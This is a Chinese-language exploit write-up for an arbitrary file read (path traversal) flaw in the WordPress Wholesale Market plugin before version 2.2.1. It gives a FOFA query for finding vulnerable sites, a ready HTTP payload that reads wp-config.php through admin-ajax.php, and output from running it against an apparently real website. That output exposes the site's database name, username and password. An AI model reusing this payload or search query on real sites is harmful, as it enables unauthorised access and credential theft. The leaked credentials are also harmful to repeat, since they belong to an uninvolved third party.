

W2-2Wordpress-WholesaleMarket插件-任意文件读取

漏洞描述:

WordPress plugin Wholesale Market 2.2.1之前版本存在路径遍历漏洞, 该漏洞源于没有进行授权检查, 也不会验证[用户输入](#)。攻击者利用该漏洞可以从服务器下载任意文件。

网络测绘:

fofa语法:

FOFA: body="wp-content/plugins/wholesale-market"

漏洞复现:

payload:

```
GET /wp-admin/admin-ajax.php?action=cwd_cwm_csv_import_export_module_download_error_log&tab=cwd_cwm_plugin&section=cwd_cwm_csv_import_export_module&cwd_cwm_log_downl
Host: your-ip
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Connection: close
Accept-Encoding: gzip
```

效果图:

读取wp-config.php配置文件

Request

< > 数据包扫描 热加载 构造请求

1 GET /wp-admin/admin-ajax.php?action=cwd_cwm_csv_import_export_module_download_error_log&

2 tab=cwd_cwm_plugin§ion=cwd_cwm_csv_import_export_module&cwd_cwm_log_download=../../../../

3 wp-config.php HTTP/1.1

4 Host: www.macadamiaplus.com.au

5 User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/

6 70.0.3538.77 Safari/537.36

7 Connection: close

8 Accept-Encoding: gzip

Responses https 3414bytes / 596ms

24 /* The wp-config.php creation script uses the

25 /* installation. You don't have to use the

26 /* copy this file to "wp-config.php" and fi

27 /*

28 /* This file contains the following configu

29 /*

30 /* MySQL settings

31 /* Secret keys

32 /* Database table prefix

33 /* ABSPATH

34 /*

35 /* @link https://codex.wordpress.org/Editin

36 /*

37 /* @package WordPress

38 /*

39 /*

40 /* MySQL settings - You can get this inf

41 /* The name of the database for WordPress

42 define('DB_NAME', 'macadami_macadamiplusDB

43 /*

44 /* MySQL database username */

45 define('DB_USER', 'macadami_macadam');

46 /*

47 /* MySQL database password */

48 define('DB_PASSWORD', 'v9sHN9754321');

49 /*